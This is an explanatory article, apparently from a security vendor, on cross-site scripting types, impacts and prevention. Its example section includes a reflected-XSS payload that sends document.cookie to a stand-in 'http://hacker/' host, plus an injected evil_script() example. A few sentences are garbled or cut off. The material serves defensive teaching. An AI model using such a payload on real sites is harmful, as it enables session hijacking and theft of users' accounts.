XSS occurs when an attacker tricks a web application into sending data in a form that a user’s browser can execute. Most commonly, this is a combination of HTML and XSS provided by the attacker, but XSS can also be used to deliver malicious downloads, plugins, or media content. An attacker is able to trick a web application this way when the web application permits data from an untrusted source — such as data entered in a form by users or passed to an API endpoint by client software — to be displayed to users without being properly escaped.

Because XSS can allow untrusted users to execute code in the browser of trusted users and access some types of data, such as session cookies, an XSS vulnerability may allow an attacker to take data from users and dynamically include it in web pages and take control of a site or an application if an administrative or a privileged user is targeted.

Malicious content delivered through XSS may be displayed instantly or every time a page is loaded or a specific event is performed. XSS attacks aim to target the users of a web application, and they may be particularly effective because they appear within a trusted site.

Also known as stored XSS, this type of vulnerability occurs when untrusted or unverified user input is stored on a target server. Common targets for persistent XSS include message forums, comment fields, or visitor logs—any feature where other users, either authenticated or non-authenticated, will view the attacker’s malicious content. Publicly visible profile pages, like those common on social media sites and membership groups, are one good example of a desirable target for persistent XSS. The attacker may enter malicious scripts in the profile boxes, and when other users visit the profile, their browser will execute the code automatically.

On the other hand, reflected or non-persistent cross-site scripting involves the immediate return of user input. To exploit a reflective XSS, an attacker must trick the user into sending data to the target site, which is often done by tricking the user into clicking a maliciously crafted link. In many cases, reflective XSS attacks rely on phishing emails or shortened or otherwise obscured URLs sent to the targeted user. When the victim visits the link, the script automatically executes in their browser.

Search results and error message pages are two common targets for reflected XSS. They often send unmodified user input as part of the response without ensuring that the data is properly escaped so that it is displayed safely in the browser..

DOM-based cross-site scripting, also called client-side XSS, has some similarity to reflected XSS as it is often delivered through a malicious URL that contains a damaging script. However, rather than including the payload in the HTTP response of a trusted site, the attack is executed entirely in the browser by modifying the DOM or Document Object Model. This targets the failure of legitimate JavaScript already on the page to properly sanitize user input. XSS Examples with Code Snippets

Example 1. For example, the HTML snippet:

<title>Example document: %(title)</title>

is intended to illustrate a template snippet that, if the variable title has value Cross-Site Scripting, results in the following HTML to be emitted to the browser:

<title>Example document: XSS Doc</title>

A site containing a search field does not have the proper input sanitizing. By crafting a search query looking something like this:

"><SCRIPT>var+img=new+Image();img.src="http://hacker/"%20+%20document.cookie;</SCRIPT>

sitting on the other end, at the web server, you will be receiving hits where after a double space is the user's cookie. If an administrator clicks the link, an attacker could steal the session ID and hijack the session.

Suppose there's a URL on Google's site, google.com/search?q=flowers, which returns HTML documents containing the fragment

<p>Your search for 'flowers' returned the following results:</p>

i.e., the value of the query parameter q is inserted into the page returned by Google. Suppose further that the data is not validated, filtered or escaped. Evil.org could put up a page that causes the following URL to be loaded in the browser (e.g., in an invisible

<p>Your search for 'flowers <script>evil_script()</script>'

Loading this page will cause the browser to execute evil_script(). Furthermore, this script will execute in the context of a page loaded from google.com.

When attackers succeed in exploiting XSS vulnerabilities, they can gain access to account credentials. They can also spread web worms or access the user’s computer and view the user’s browser history or control the browser remotely. After gaining control to the victim’s system, attackers can also analyze and use other intranet applications. By exploiting XSS vulnerabilities, an attacker can perform malicious actions, such as:

Hijack an account.
Spread web worms.
Access browser history and clipboard contents.
Control the browser remotely.
Scan and exploit intranet appliances and applications.

XSS vulnerabilities may occur if: Input coming into web applications is not validated Output to the browser is not HTML encoded.

XSS vulnerabilities can be prevented by consistently using secure coding practices. Our Veracode vulnerability decoder provides useful guidelines for avoiding XSS-based attacks. By ensuring that all input that comes in from user forms, search fields, or submission requests is properly escaped, developers can prevent their applications from being misused by attackers.

Cross-site scripting prevention should be part of your development process, but there are steps you can take throughout each part of production that can detect potential vulnerabilities and prevent attacks.